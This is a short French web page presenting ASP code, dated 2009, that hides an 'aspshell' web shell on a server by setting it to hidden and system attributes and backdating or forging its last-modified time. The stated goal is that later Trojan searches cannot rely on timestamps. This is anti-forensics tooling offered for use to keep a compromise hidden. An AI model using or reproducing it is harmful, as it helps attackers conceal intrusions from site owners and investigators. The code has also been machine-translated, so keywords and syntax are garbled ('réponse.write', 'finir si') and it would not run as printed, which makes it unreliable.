Aspshell masque et modifie l'heure de la dernière modification d'un fichier. Par conséquent, lors de la recherche future de chevaux de Troie, vous ne pouvez pas simplement juger en fonction de l'heure. Copiez le code comme suit :
<%
'Masquer et modifier l'heure de dernière modification du fichier aspshell
'Principe : vous pouvez modifier les attributs du fichier via FSO, par exemple en le définissant en lecture seule, masqué, système, etc. ; l'attribut d'attributs dans FSO modifie les attributs du fichier, 1 est en lecture seule, 2 est masqué, et 4 est le fichier système
'Vous pouvez réinitialiser l'heure de la dernière modification du fichier via shell.application
'2009/02/24 écrire par skyfire
réponse.write <form method=post>
chemin réponse.write : <input name=path value='&server.mappath(/)&' size='30'>(doit se terminer par /)<br />
nom du fichier réponse.write : <input name=filename value='test.txt' size='30'><br />
heure de modification de réponse.write : <input name=time value='12/30/2099 12:30:30' size='30'><br />
réponse.write <input type=submit value=Modifier et masquer le fichier>
réponse.écrire </form>
'Obtenir les paramètres soumis
set path=request.Form(chemin)
set fileName = request.Form (nom de fichier)
définir newTime = request.Form (heure)
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'Définir les attributs du fichier via fso
Définir fso=Server.CreateObject (Scripting.FileSystemObject)
Définir file=fso.getFile(path&fileName)
file.attributes=2+4 'Définir les attributs du fichier sur caché + système
'Modifier l'heure de dernière modification du fichier via shell.Application
Définir shell = Server.CreateObject (Shell.Application)
Définir app_path=shell.NameSpace(server.mappath(.))
Définir app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
finir si
%>